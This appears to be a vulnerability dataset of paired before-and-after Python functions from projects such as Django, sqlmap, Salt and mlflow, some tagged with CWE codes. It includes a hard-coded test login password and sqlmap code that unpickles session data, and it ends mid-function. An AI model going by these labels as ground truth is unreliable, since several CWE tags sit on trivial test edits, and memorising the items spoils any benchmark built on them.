,UNKNOWN,UNKNOWN,tests/modeltests/test_client/models.py,1,"def test_view_with_login(self):
        ""Request a page that is protected with @login_required""
        
        # Get the page without logging in. Should result in 302.
        response = self.client.get('/test_client/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/test_client/login_protected_view/')
        
        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Request a page that requires a login
        response = self.client.get('/test_client/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')",CWE-259,django/django,3bf4ef0c77f80e2ed7fab298679ab0c5f28bc900,"def test_view_with_login(self):
        ""Request a page that is protected with @login_required""
        
        # Get the page without logging in. Should result in 302.
        response = self.client.get('/test_client/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/test_client/login_protected_view/')
        
        # Log in
        self.client.login(username='testclient', password='password')

        # Request a page that requires a login
        response = self.client.get('/test_client/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/util.py,0,"def load_host_keys(filename):
    """"""
    Read a file of known SSH host keys, in the format used by openssh, and
    return a compound dict of ``hostname -> keytype ->`` `PKey
    <paramiko.pkey.PKey>`. The hostname may be an IP address or DNS name.

    This type of file unfortunately doesn't exist on Windows, but on posix,
    it will usually be stored in ``os.path.expanduser(""~/.ssh/known_hosts"")``.

    Since 1.5.3, this is just a wrapper around `.HostKeys`.

    :param str filename: name of the file to read host keys from
    :return:
        nested dict of `.PKey` objects, indexed by hostname and then keytype
    """"""
    from paramiko.hostkeys import HostKeys

    return HostKeys(filename)",,paramiko/paramiko,e534b1abcfe5dd286988d0b347b84a0b902f7461,"def load_host_keys(filename):
    """"""
    Read a file of known SSH host keys, in the format used by openssh, and
    return a compound dict of ``hostname -> keytype ->`` `PKey
    <paramiko.pkey.PKey>`. The hostname may be an IP address or DNS name.  The
    keytype will be either ``""ssh-rsa""`` or ``""ssh-dss""``.

    This type of file unfortunately doesn't exist on Windows, but on posix,
    it will usually be stored in ``os.path.expanduser(""~/.ssh/known_hosts"")``.

    Since 1.5.3, this is just a wrapper around `.HostKeys`.

    :param str filename: name of the file to read host keys from
    :return:
        nested dict of `.PKey` objects, indexed by hostname and then keytype
    """"""
    from paramiko.hostkeys import HostKeys

    return HostKeys(filename)"
,UNKNOWN,UNKNOWN,tests/tracking/test_rest_tracking.py,1,"def test_gateway_proxy_handler_rejects_invalid_requests(mlflow_client):
    def assert_response(resp, message_part):
        assert resp.status_code == 400
        response_json = resp.json()
        assert response_json.get(""error_code"") == ""INVALID_PARAMETER_VALUE""
        assert message_part in response_json.get(""message"", """")

    with _init_server(
        backend_uri=mlflow_client.tracking_uri,
        root_artifact_uri=mlflow_client.tracking_uri,
        extra_env={""MLFLOW_DEPLOYMENTS_TARGET"": ""http://localhost:5001""},
    ) as url:
        patched_client = MlflowClient(url)

        response = requests.post(
            f""{patched_client.tracking_uri}/ajax-api/2.0/mlflow/gateway-proxy"",
            json={},
        )
        assert_response(
            response,
            ""Deployments proxy request must specify a gateway_path."",
        )

        response = requests.post(
            f""{patched_client.tracking_uri}/ajax-api/2.0/mlflow/gateway-proxy"",
            json={""gateway_path"": ""foo/bar""},
        )
        assert_response(
            response,
            ""Invalid gateway_path: foo/bar for method: POST"",
        )

        response = requests.post(
            f""{patched_client.tracking_uri}/ajax-api/2.0/mlflow/gateway-proxy"",
            json={""gateway_path"": ""foo/bar/baz""},
        )
        assert_response(
            response,
            ""Invalid gateway_path: foo/bar/baz for method: POST"",
        )

        response = requests.get(
            f""{patched_client.tracking_uri}/ajax-api/2.0/mlflow/gateway-proxy"",
            params={""gateway_path"": ""hello/world""},
        )
        assert_response(
            response,
            ""Invalid gateway_path: hello/world for method: GET"",
        )

        # Unsupported method
        response = requests.delete(
            f""{patched_client.tracking_uri}/ajax-api/2.0/mlflow/gateway-proxy"",
        )
        assert response.status_code == 405",CWE-703,mlflow/mlflow,4a0f6c1345d7502451c89ee1c375891901c21393,"def test_gateway_proxy_handler_rejects_invalid_requests(mlflow_client):
    def assert_response(resp, message_part):
        assert resp.status_code == 400
        response_json = resp.json()
        assert response_json.get(""error_code"") == ""INVALID_PARAMETER_VALUE""
        assert message_part in response_json.get(""message"", """")

    with _init_server(
        backend_uri=mlflow_client.tracking_uri,
        root_artifact_uri=mlflow_client.tracking_uri,
        extra_env={""MLFLOW_DEPLOYMENTS_TARGET"": ""http://localhost:5001""},
    ) as url:
        patched_client = MlflowClient(url)

        response = requests.post(
            f""{patched_client.tracking_uri}/ajax-api/2.0/mlflow/gateway-proxy"",
            json={},
        )
        assert_response(
            response,
            ""Deployments proxy request must specify a gateway_path."",
        )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/session.py,0,"def resumeConfKb(expression, url, value):
    if expression == ""String"" and url == conf.url:
        string = unSafeFormatString(value[:-1])

        logMsg = ""resuming string match '%s' from session file"" % string
        logger.info(logMsg)

        if string and ( not conf.string or string != conf.string ):
            if not conf.string:
                message = ""you did not provide any string to match. ""
            else:
                message  = ""The string you provided does not match ""
                message += ""the resumed string. ""

            message += ""Do you want to use the resumed string ""
            message += ""to be matched in page when the query ""
            message += ""is valid? [Y/n] ""
            test = readInput(message, default=""Y"")

            if not test or test[0] in (""y"", ""Y""):
                conf.string = string

    elif expression == ""Regular expression"" and url == conf.url:
        regexp = unSafeFormatString(value[:-1])

        logMsg = ""resuming regular expression match '%s' from session file"" % regexp
        logger.info(logMsg)

        if regexp and ( not conf.regexp or regexp != conf.regexp ):
            if not conf.regexp:
                message  = ""you did not provide any regular expression ""
                message += ""to match. ""
            else:
                message  = ""The regular expression you provided does not ""
                message += ""match the resumed regular expression. ""

            message += ""Do you want to use the resumed regular expression ""
            message += ""to be matched in page when the query ""
            message += ""is valid? [Y/n] ""
            test = readInput(message, default=""Y"")

            if not test or test[0] in (""y"", ""Y""):
                conf.regexp = regexp

    elif expression == ""Injection data"" and url == conf.url:
        injection = base64unpickle(value[:-1])
        logMsg = ""resuming injection data from session file""
        logger.info(logMsg)

        if injection.place in conf.paramDict and\
          injection.parameter in conf.paramDict[injection.place]:
            kb.injections.append(injection)
        else:
            warnMsg = ""there is an injection in %s parameter '%s' "" % (injection.place, injection.parameter)
            warnMsg += ""but you did not provided it this time""
            logger.warn(warnMsg)

    elif expression == ""DBMS"" and url == conf.url:
        dbms        = unSafeFormatString(value[:-1])
        dbms        = dbms.lower()
        dbmsVersion = [UNKNOWN_DBMS_VERSION]

        logMsg = ""resuming back-end DBMS '%s' "" % dbms
        logMsg += ""from session file""
        logger.info(logMsg)

        firstRegExp = ""(%s|%s|%s|%s)"" % (""|"".join([alias for alias in MSSQL_ALIASES]),
                                         ""|"".join([alias for alias in MYSQL_ALIASES]),
                                         ""|"".join([alias for alias in PGSQL_ALIASES]),
                                         ""|"".join([alias for alias in ORACLE_ALIASES]))
        dbmsRegExp = re.search(""%s ([\d\.]+)"" % firstRegExp, dbms)

        if dbmsRegExp:
            dbms        = dbmsRegExp.group(1)
            dbmsVersion = [ dbmsRegExp.group(2) ]

        if conf.dbms and conf.dbms.lower() != dbms:
            message  = ""you provided '%s' as back-end DBMS, "" % conf.dbms
            message += ""but from a past scan information on the target URL ""
            message += ""sqlmap assumes the back-end DBMS is %s. "" % dbms
            message += ""Do you really want to force the back-end ""
            message += ""DBMS value? [y/N] ""
            test = readInput(message, default=""N"")

            if not test or test[0] in (""n"", ""N""):
                kb.dbms = aliasToDbmsEnum(dbms)
                kb.dbmsVersion = dbmsVersion
        else:
            kb.dbms = aliasToDbmsEnum(dbms)
            kb.dbmsVersion = dbmsVersion

    elif expression == ""OS"" and url == conf.url:
        os = unSafeFormatString(value[:-1])

        logMsg = ""resuming back-end DBMS operating system '%s' "" % os
        logMsg += ""from session file""
        logger.info(logMsg)

        if conf.os and conf.os.lower() != os.lower():
            message  = ""you provided '%s' as back-end DBMS operating "" % conf.os
            message += ""system, but from a past scan information on the ""
            message += ""target URL sqlmap assumes the back-end DBMS ""
            message += ""operating system is %s. "" % os
            message += ""Do you really want to force the back-end DBMS ""
            message += ""OS value? [y/N] ""
            test = readInput(message, default=""N"")

            if not test or test[0] in (""n"", ""N""):
                conf.os = os
        else:
            conf.os = os

    elif expression == ""Union comment"" and url == conf.url:
        kb.unionComment = unSafeFormatString(value[:-1])

        logMsg = ""resuming union comment ""
        logMsg += ""'%s' from session file"" % kb.unionComment
        logger.info(logMsg)

    elif expression == ""Union count"" and url == conf.url:
        kb.unionCount = int(value[:-1])

        logMsg = ""resuming union count ""
        logMsg += ""%s from session file"" % kb.unionCount
        logger.info(logMsg)

    elif expression == ""Union position"" and url == conf.url:
        kb.unionPosition = int(value[:-1])

        logMsg = ""resuming union position ""
        logMsg += ""%s from session file"" % kb.unionPosition
        logger.info(logMsg)

    elif expression == ""Union negative"" and url == conf.url:
        kb.unionNegative = True if value[:-1] == ""Yes"" else False

        logMsg = ""resuming union negative from session file""
        logger.info(logMsg)

    elif expression == ""Union char"" and url == conf.url:
        conf.uChar = value[:-1]

        logMsg = ""resuming union char %s from session file"" % conf.uChar
        logger.info(logMsg)

    elif expression == ""Union payload"" and url == conf.url:
        kb.unionTest = value[:-1]

        logMsg = ""resuming union payload ""
        logMsg += ""%s from session file"" % kb.unionTest
        logger.info(logMsg)

    elif expression == ""Remote temp path"" and url == conf.url:
        conf.tmpPath = unSafeFormatString(value[:-1])

        logMsg = ""resuming remote absolute path of temporary ""
        logMsg += ""files directory '%s' from session file"" % conf.tmpPath
        logger.info(logMsg)",,sqlmapproject/sqlmap,09479c85dc29da93881b09ab5ce195c9adf7d737,"def resumeConfKb(expression, url, value):
    if expression == ""String"" and url == conf.url:
        string = unSafeFormatString(value[:-1])

        logMsg = ""resuming string match '%s' from session file"" % string
        logger.info(logMsg)

        if string and ( not conf.string or string != conf.string ):
            if not conf.string:
                message = ""you did not provide any string to match. ""
            else:
                message  = ""The string you provided does not match ""
                message += ""the resumed string. ""

            message += ""Do you want to use the resumed string ""
            message += ""to be matched in page when the query ""
            message += ""is valid? [Y/n] ""
            test = readInput(message, default=""Y"")

            if not test or test[0] in (""y"", ""Y""):
                conf.string = string

    elif expression == ""Regular expression"" and url == conf.url:
        regexp = unSafeFormatString(value[:-1])

        logMsg = ""resuming regular expression match '%s' from session file"" % regexp
        logger.info(logMsg)

        if regexp and ( not conf.regexp or regexp != conf.regexp ):
            if not conf.regexp:
                message  = ""you did not provide any regular expression ""
                message += ""to match. ""
            else:
                message  = ""The regular expression you provided does not ""
                message += ""match the resumed regular expression. ""

            message += ""Do you want to use the resumed regular expression ""
            message += ""to be matched in page when the query ""
            message += ""is valid? [Y/n] ""
            test = readInput(message, default=""Y"")

            if not test or test[0] in (""y"", ""Y""):
                conf.regexp = regexp

    elif expression == ""Injection data"" and url == conf.url:
        injection = base64unpickle(value[:-1])
        logMsg = ""resuming injection data from session file""
        logger.info(logMsg)

        if injection.parameter in conf.paramDict[injection.place]:
            kb.injections.append(injection)
        else:
            warnMsg = ""there is an injection in %s parameter '%s' "" % (injection.place, injection.parameter)
            warnMsg += ""but you did not provided it this time""
            logger.warn(warnMsg)

    elif expression == ""DBMS"" and url == conf.url:
        dbms        = unSafeFormatString(value[:-1])
        dbms        = dbms.lower()
        dbmsVersion = [UNKNOWN_DBMS_VERSION]

        logMsg = ""resuming back-end DBMS '%s' "" % dbms
        logMsg += ""from session file""
        logger.info(logMsg)

        firstRegExp = ""(%s|%s|%s|%s)"" % (""|"".join([alias for alias in MSSQL_ALIASES]),
                                         ""|"".join([alias for alias in MYSQL_ALIASES]),
                                         ""|"".join([alias for alias in PGSQL_ALIASES]),
                                         ""|"".join([alias for alias in ORACLE_ALIASES]))
        dbmsRegExp = re.search(""%s ([\d\.]+)"" % firstRegExp, dbms)

        if dbmsRegExp:
            dbms        = dbmsRegExp.group(1)
            dbmsVersion = [ dbmsRegExp.group(2) ]

        if conf.dbms and conf.dbms.lower() != dbms:
            message  = ""you provided '%s' as back-end DBMS, "" % conf.dbms
            message += ""but from a past scan information on the target URL ""
            message += ""sqlmap assumes the back-end DBMS is %s. "" % dbms
            message += ""Do you really want to force the back-end ""
            message += ""DBMS value? [y/N] ""
            test = readInput(message, default=""N"")

            if not test or test[0] in (""n"", ""N""):
                kb.dbms = aliasToDbmsEnum(dbms)
                kb.dbmsVersion = dbmsVersion
        else:
            kb.dbms = aliasToDbmsEnum(dbms)
            kb.dbmsVersion = dbmsVersion

    elif expression == ""OS"" and url == conf.url:
        os = unSafeFormatString(value[:-1])

        logMsg = ""resuming back-end DBMS operating system '%s' "" % os
        logMsg += ""from session file""
        logger.info(logMsg)

        if conf.os and conf.os.lower() != os.lower():
            message  = ""you provided '%s' as back-end DBMS operating "" % conf.os
            message += ""system, but from a past scan information on the ""
            message += ""target URL sqlmap assumes the back-end DBMS ""
            message += ""operating system is %s. "" % os
            message += ""Do you really want to force the back-end DBMS ""
            message += ""OS value? [y/N] ""
            test = readInput(message, default=""N"")

            if not test or test[0] in (""n"", ""N""):
                conf.os = os
        else:
            conf.os = os

    elif expression == ""Union comment"" and url == conf.url:
        kb.unionComment = unSafeFormatString(value[:-1])

        logMsg = ""resuming union comment ""
        logMsg += ""'%s' from session file"" % kb.unionComment
        logger.info(logMsg)

    elif expression == ""Union count"" and url == conf.url:
        kb.unionCount = int(value[:-1])

        logMsg = ""resuming union count ""
        logMsg += ""%s from session file"" % kb.unionCount
        logger.info(logMsg)

    elif expression == ""Union position"" and url == conf.url:
        kb.unionPosition = int(value[:-1])

        logMsg = ""resuming union position ""
        logMsg += ""%s from session file"" % kb.unionPosition
        logger.info(logMsg)

    elif expression == ""Union negative"" and url == conf.url:
        kb.unionNegative = True if value[:-1] == ""Yes"" else False

        logMsg = ""resuming union negative from session file""
        logger.info(logMsg)

    elif expression == ""Union char"" and url == conf.url:
        conf.uChar = value[:-1]

        logMsg = ""resuming union char %s from session file"" % conf.uChar
        logger.info(logMsg)

    elif expression == ""Union payload"" and url == conf.url:
        kb.unionTest = value[:-1]

        logMsg = ""resuming union payload ""
        logMsg += ""%s from session file"" % kb.unionTest
        logger.info(logMsg)

    elif expression == ""Remote temp path"" and url == conf.url:
        conf.tmpPath = unSafeFormatString(value[:-1])

        logMsg = ""resuming remote absolute path of temporary ""
        logMsg += ""files directory '%s' from session file"" % conf.tmpPath
        logger.info(logMsg)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/grains.py,0,"def set(key,
        val='',
        force=False,
        destructive=False,
        delimiter=DEFAULT_TARGET_DELIM):
    '''
    Set a key to an arbitrary value. It is used like setval but works
    with nested keys.

    This function is conservative. It will only overwrite an entry if
    its value and the given one are not a list or a dict. The `force`
    parameter is used to allow overwriting in all cases.

    .. versionadded:: FIXME

    :param force: Force writing over existing entry if given or existing
                  values are list or dict. Defaults to False.
    :param destructive: If an operation results in a key being removed,
                  delete the key, too. Defaults to False.
    :param delimiter:
        Specify an alternate delimiter to use when traversing a nested dict

    CLI Example:

    .. code-block:: bash

        salt '*' grains.set 'apps:myApp:port' 2209
        salt '*' grains.set 'apps:myApp' '{port: 2209}'
    '''

    ret = {'comment': [],
           'changes': {},
           'result': True}

    # Get val type
    _new_value_type = 'simple'
    if isinstance(val, dict):
        _new_value_type = 'complex'
    elif isinstance(val, list):
        _new_value_type = 'complex'

    _existing_value = get(key, _non_existent_key, delimiter)
    _value = _existing_value

    _existing_value_type = 'simple'
    if _existing_value == _non_existent_key:
        _existing_value_type = None
    elif isinstance(_existing_value, dict):
        _existing_value_type = 'complex'
    elif isinstance(_existing_value, list):
        _existing_value_type = 'complex'

    if _existing_value_type is not None and _existing_value == val:
        ret['comment'] = 'The value \'{0}\' was already set for key \'{1}\''.format(val, key)
        return ret

    if _existing_value is not None and not force:
        if _existing_value_type == 'complex':
            ret['comment'] = 'The key \'{0}\' exists but is a dict or a list. '.format(key) \
                 + 'Use \'force=True\' to overwrite.'
            ret['result'] = False
            return ret
        elif _new_value_type == 'complex' and _existing_value_type is not None:
            ret['comment'] = 'The key \'{0}\' exists and the given value is a '.format(key) \
                 + 'dict or a list. Use \'force=True\' to overwrite.'
            ret['result'] = False
            return ret
        else:
            _value = val
    else:
        _value = val

    # Process nested grains
    while delimiter in key:
        key, rest = key.rsplit(delimiter, 1)
        _existing_value = get(key, {}, delimiter)
        if isinstance(_existing_value, dict):
            if _value is None and destructive:
                if rest in _existing_value.keys():
                    _existing_value.pop(rest)
            else:
                _existing_value.update({rest: _value})
        elif isinstance(_existing_value, list):
            _list_updated = False
            for _index, _item in enumerate(_existing_value):
                if _item == rest:
                    _existing_value[_index] = {rest: _value}
                    _list_updated = True
                elif isinstance(_item, dict) and rest in _item:
                    _item.update({rest: _value})
                    _list_updated = True
            if not _list_updated:
                _existing_value.append({rest: _value})
        elif _existing_value == rest or force:
            _existing_value = {rest: _value}
        else:
            ret['comment'] = 'The key \'{0}\' value is \'{1}\', '.format(key, _existing_value) \
                 + 'which is different from the provided key \'{0}\'. '.format(rest) \
                 + 'Use \'force=True\' to overwrite.'
            ret['result'] = False
            return ret
        _value = _existing_value

    _setval_ret = setval(key, _value, destructive=destructive)
    if isinstance(_setval_ret, dict):
        ret['changes'] = _setval_ret
    else:
        ret['comment'] = _setval_ret
        ret['result'] = False
    return ret",,saltstack/salt,c902cb7f516861dd5d49c05b2bfb7bf826b6bba1,"def set(key,
        val='',
        force=False,
        destructive=False,
        delimiter=DEFAULT_TARGET_DELIM):
    '''
    Set a key to an arbitrary value. It is used like setval but works
    with nested keys.

    This function is conservative. It will only overwrite an entry if
    its value and the given one are not a list or a dict. The `force`
    parameter is used to allow overwriting in all cases.

    .. versionadded:: FIXME

    :param force: Force writing over existing entry if given or existing
                  values are list or dict. Defaults to False.
    :param destructive: If an operation results in a key being removed,
                  delete the key, too. Defaults to False.
    :param delimiter:
        Specify an alternate delimiter to use when traversing a nested dict

    CLI Example:

    .. code-block:: bash

        salt '*' grains.set 'apps:myApp:port' 2209
        salt '*' grains.set 'apps:myApp' '{port: 2209}'
    '''

    ret = {'comment': [],
           'changes': {},
           'result': True}

    # Get val type
    _new_value_type = 'simple'
    if isinstance(val, dict):
        _new_value_type = 'complex'
    elif isinstance(val, list):
        _new_value_type = 'complex'

    _existing_value = get(key, _non_existent_key, delimiter)
    _value = _existing_value

    _existing_value_type = 'simple'
    if _existing_value == _non_existent_key:
        _existing_value_type = None
    elif isinstance(_existing_value, dict):
        _existing_value_type = 'complex'
    elif isinstance(_existing_value, list):
        _existing_value_type = 'complex'

    if _existing_value_type is not None and _existing_value == val:
        ret['comment'] = 'The value \'{0}\' was already set for key \'{1}\''.format(val, key)
        return ret

    if _existing_value is not None and not force:
        if _existing_value_type == 'complex':
            ret['comment'] = 'The key \'{0}\' exists but is a dict or a list. '.format(key) \
                 + 'Use \'force=True\' to overwrite.'
            ret['result'] = False
            return ret
        elif _new_value_type == 'complex' and _existing_value_type is not None:
            ret['comment'] = 'The key \'{0}\' exists and the given value is a '.format(key) \
                 + 'dict or a list. Use \'force=True\' to overwrite.'
            ret['result'] = False
            return ret
        else:
            _value = val
    else:
        _value = val

    # Process nested grains
    while delimiter in key:
        key, rest = key.rsplit(delimiter, 1)
        _existing_value = get(key, {}, delimiter)
        if isinstance(_existing_value, dict):
            if _value is None and destructive:
                if rest in _existing_value.keys():
                    _existing_value.pop(rest)
            else:
                _existing_value.update({rest: _value})
        elif isinstance(_existing_value, list):
            _list_updated = False
            if rest in _existing_value:
                _existing_value.remove(rest)
            else:
                for _item in _existing_value:
                    if isinstance(_item, dict) and rest in _item:
                        _item.update({rest: _value})
                        _list_updated = True
            if not _list_updated:
                _existing_value.append({rest: _value})
        elif _existing_value == rest or force:
            _existing_value = {rest: _value}
        else:
            ret['comment'] = 'The key \'{0}\' value is \'{1}\', '.format(key, _existing_value) \
                 + 'which is different from the provided key \'{0}\'. '.format(rest) \
                 + 'Use \'force=True\' to overwrite.'
            ret['result'] = False
            return ret
        _value = _existing_value

    _setval_ret = setval(key, _value, destructive=destructive)
    if isinstance(_setval_ret, dict):
        ret['changes'] = _setval_ret
    else:
        ret['comment'] = _setval_ret
        ret['result'] = False
    return ret"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/file/test_replace.py,1,"def test_symlink(file, multiline_file):
    # https://github.com/saltstack/salt/pull/61326
    try:
        # Create a symlink to target
        sym_link = multiline_file.parent / ""symlink.lnk""
        sym_link.symlink_to(multiline_file)
        # file.replace on the symlink
        file.replace(str(sym_link), r""Etiam"", ""Salticus"")
        # test that the target was changed
        assert ""Salticus"" in multiline_file.read_text()
    finally:
        if os.path.exists(str(sym_link)):
            sym_link.unlink()",CWE-703,saltstack/salt,566fae6685cf5ba52b3ede78a6dae6d58ce48c8a,"def test_symlink(file, multiline_file):
    # https://github.com/saltstack/salt/pull/61326
    try:
        # Create a symlink to target
        sym_link = multiline_file.parent / ""symlink.lnk""
        sym_link.symlink_to(multiline_file)
        # file.replace on the symlink
        file.replace(str(sym_link), r""Etiam"", ""Salticus"")
        # test that the target was changed
        assert ""Salticus"" in multiline_file.read_text()
    finally:
        if os.path.exists(str(sym_link)):
            sym_link.unlink()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/integration/client/standard.py,0,"def test_iter_no_block(self):
        '''
        test cmd_iter_no_block
        '''
        cmd_iter = self.client.cmd_iter_no_block(
                'minion',
                'test.ping',
                )
        for ret in cmd_iter:
            if ret is None:
                continue
            self.assertTrue(ret['minion'])",,saltstack/salt,b14faf1c6863a6592603602bce1ee355204d52b8,"def test_iter_no_block(self):
        '''
        test cmd_iter_no_block
        '''
        cmd_iter = self.client.cmd_iter_no_block(
                'minion',
                'test.ping',
                )
        for ret in cmd_iter:
            if ret is None:
                continue
            self.assertTrue(ret['minion'])"
,UNKNOWN,UNKNOWN,tests/providers/apache/livy/hooks/test_livy.py,1,"def test_post_batch_arguments(self, mock_request):

        mock_request.return_value.status_code = 201
        mock_request.return_value.json.return_value = {
            'id': BATCH_ID,
            'state': BatchState.STARTING.value,
            'log': [],
        }

        hook = LivyHook()
        resp = hook.post_batch(file='sparkapp')

        mock_request.assert_called_once_with(
            method='POST', endpoint='/batches', data=json.dumps({'file': 'sparkapp'}), headers={}
        )

        request_args = mock_request.call_args[1]
        assert 'data' in request_args
        assert isinstance(request_args['data'], str)

        assert isinstance(resp, int)
        assert resp == BATCH_ID",CWE-703,apache/airflow,3d8ba64b84f73d30426ebc47abbe6e5cf0ab70d8,"def test_post_batch_arguments(self, mock_request):

        mock_request.return_value.status_code = 201
        mock_request.return_value.json.return_value = {
            'id': BATCH_ID,
            'state': BatchState.STARTING.value,
            'log': [],
        }

        hook = LivyHook()
        resp = hook.post_batch(file='sparkapp')

        mock_request.assert_called_once_with(
            method='POST', endpoint='/batches', data=json.dumps({'file': 'sparkapp'})
        )

        request_args = mock_request.call_args[1]
        assert 'data' in request_args
        assert isinstance(request_args['data'], str)

        assert isinstance(resp, int)
        assert resp == BATCH_ID"
,UNKNOWN,UNKNOWN,tests/unit/sdb/test_vault.py,1,"def test_get(self):
        """"""
        Test salt.sdb.vault.get function
        """"""
        mock_vault = MagicMock()
        mock_vault.return_value.status_code = 200
        mock_vault.return_value.json.return_value = {""data"": {""bar"": ""test""}}
        with patch.dict(vault.__utils__, {""vault.make_request"": mock_vault}):
            self.assertEqual(vault.get(""sdb://myvault/path/to/foo/bar""), ""test"")

        assert mock_vault.call_args_list == [
            call(""GET"", ""v1/sdb://myvault/path/to/foo"", None)
        ]",CWE-703,saltstack/salt,084b3515323d39469cc457fa7fa73141a63dac65,"def test_get(self):
        """"""
        Test salt.sdb.vault.get function
        """"""
        mock_vault = MagicMock()
        mock_vault.return_value.status_code = 200
        mock_vault.content.return_value = [{""data"": {""bar"", ""test""}}]
        with patch.dict(vault.__utils__, {""vault.make_request"": mock_vault}):
            vault.get(""sdb://myvault/path/to/foo/bar"")

        assert mock_vault.call_args_list == [
            call(""GET"", ""v1/sdb://myvault/path/to/foo"", None)
        ]"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/revision.py,0,"def getRevisionNumber():
    """"""
    Returns abbreviated commit hash number as retrieved with ""git rev-parse --short HEAD""
    """"""

    retVal = None
    filePath = None

    _ = os.path.dirname(__file__)
    while True:
        filePath = os.path.join(_, "".git"", ""HEAD"")
        if os.path.exists(filePath):
            break
        else:
            filePath = None
            if _ == os.path.dirname(_):
                break
            else:
                _ = os.path.dirname(_)
    while True:
        if filePath and os.path.isfile(filePath):
            with open(filePath, ""r"") as f:
                content = f.read()
                filePath = None
                if content.startswith(""ref: ""):
                    filePath = os.path.join(_, "".git"", content.replace(""ref: "", """")).strip()
                else:
                    match = re.match(r""(?i)[0-9a-f]{32}"", content)
                    retVal = match.group(0) if match else None
                    break

    if not retVal:
        process = execute(""git rev-parse --verify HEAD"", shell=True, stdout=PIPE, stderr=PIPE)
        stdout, _ = process.communicate()
        match = re.search(r""(?i)[0-9a-f]{32}"", stdout or """")
        retVal = match.group(0) if match else None

    return retVal[:7] if retVal else None",,andresriancho/w3af,18b1d1efd66fca0d193d51096df28e9ad84b14f0,"def getRevisionNumber():
    """"""
    Returns abbreviated commit hash number as retrieved with ""git rev-parse --short HEAD""
    """"""

    retVal = None
    filePath = None

    _ = os.path.dirname(__file__)
    while True:
        filePath = os.path.join(_, "".git/refs/heads/master"").replace('/', os.path.sep)
        if os.path.exists(filePath):
            break
        else:
            filePath = None
            if _ == os.path.dirname(_):
                break
            else:
                _ = os.path.dirname(_)
    if filePath:
        with open(filePath, ""r"") as f:
            match = re.match(r""(?i)[0-9a-f]{32}"", f.read())
            retVal = match.group(0) if match else None

    if not retVal:
        process = execute(""git rev-parse --verify HEAD"", shell=True, stdout=PIPE, stderr=PIPE)
        stdout, _ = process.communicate()
        match = re.search(r""(?i)[0-9a-f]{32}"", stdout or """")
        retVal = match.group(0) if match else None

    return retVal[:7] if retVal else None"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/docstring_utils.py,0,"def format_docstring(self, docstring):
        """"""
        Formats placeholders in `docstring`.

        :param docstring: Docstring to format.
        :return: Formatted docstring.

        Examples
        --------
        >>> pd = ParamDocs(p1=""doc1"", p2=""doc2"")
        >>> docstring = '''
        ... :param p1: {{ p1 }}
        ... :param p2: {{ p2 }}
        ... '''.strip()
        >>> print(pd.format_docstring(docstring))
        :param p1:
            doc1
        :param p2:
            doc2
        """"""
        if docstring is None:
            return None

        min_indent = _get_minimum_indentation(docstring)
        for param_name, param_doc in self.items():
            param_doc = textwrap.indent(param_doc, min_indent + "" "" * 4)
            if not param_doc.startswith(""\n""):
                param_doc = ""\n"" + param_doc
            docstring = _replace_placeholder(docstring, param_name, param_doc)

        return docstring",,mlflow/mlflow,14c166426007e1fd8062d5fe7e8dc321b8d229a8,"def format_docstring(self, docstring):
        """"""
        Formats placeholders in `docstring`.

        :param docstring: Docstring to format.
        :return: Formatted docstring.

        Examples
        --------
        >>> pd = ParamDocs(p1=""doc1"", p2=""doc2"")
        >>> docstring = '''
        ... :param p1: {{ p1 }}
        ... :param p2: {{ p2 }}
        ... '''.strip()
        >>> print(pd.format_docstring(docstring))
        :param p1:
            doc1
        :param p2:
            doc2
        """"""
        min_indent = _get_minimum_indentation(docstring)
        for param_name, param_doc in self.items():
            param_doc = textwrap.indent(param_doc, min_indent + "" "" * 4)
            if not param_doc.startswith(""\n""):
                param_doc = ""\n"" + param_doc
            docstring = _replace_placeholder(docstring, param_name, param_doc)

        return docstring"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/dspy/callback.py,0,"def on_evaluate_end(
        self,
        call_id: str,
        outputs: Any,
        exception: Optional[Exception] = None,
    ):
        """"""
        Callback handler at the end of evaluation call. Available with DSPy>=2.6.9.
        This callback logs the evaluation score to the individual run
        and add eval metric to the parent run if called inside optimization.
        """"""
        if not get_autologging_config(FLAVOR_NAME, ""log_evals""):
            return
        if exception:
            mlflow.end_run(status=RunStatus.to_string(RunStatus.FAILED))
            return
        score = None
        if isinstance(outputs, float):
            score = outputs
        elif isinstance(outputs, tuple):
            score = outputs[0]
        elif isinstance(outputs, dspy.Prediction):
            score = float(outputs)
            try:
                mlflow.log_table(self._generate_result_table(outputs.results), ""result_table.json"")
            except Exception:
                _logger.debug(""Failed to log result table."", exc_info=True)
        if score is not None:
            mlflow.log_metric(""eval"", score)

        if self._call_id_to_run_id.pop(call_id, None):
            mlflow.end_run()
        if self.optimizer_stack_level > 0 and mlflow.active_run() is not None:
            if call_id not in self._call_id_to_metric_key:
                return
            key, step = self._call_id_to_metric_key.pop(call_id)
            if score is not None:
                mlflow.log_metric(
                    key,
                    score,
                    step=step,
                )",,mlflow/mlflow,a4410bcab5884e8e6f5edf2f576b7398fdb9af73,"def on_evaluate_end(
        self,
        call_id: str,
        outputs: Any,
        exception: Optional[Exception] = None,
    ):
        """"""
        Callback handler at the end of evaluation call. Available with DSPy>=2.6.9.
        This callback logs the evaluation score to the individual run
        and add eval metric to the parent run if called inside optimization.
        """"""
        if not get_autologging_config(FLAVOR_NAME, ""log_evals""):
            return
        if exception:
            mlflow.end_run(status=RunStatus.to_string(RunStatus.FAILED))
            return
        if isinstance(outputs, float):
            score = outputs
        elif isinstance(outputs, list):
            score = outputs[0]
        elif isinstance(outputs, dspy.Prediction):
            score = float(outputs)
            try:
                mlflow.log_table(self._generate_result_table(outputs.results), ""result_table.json"")
            except Exception:
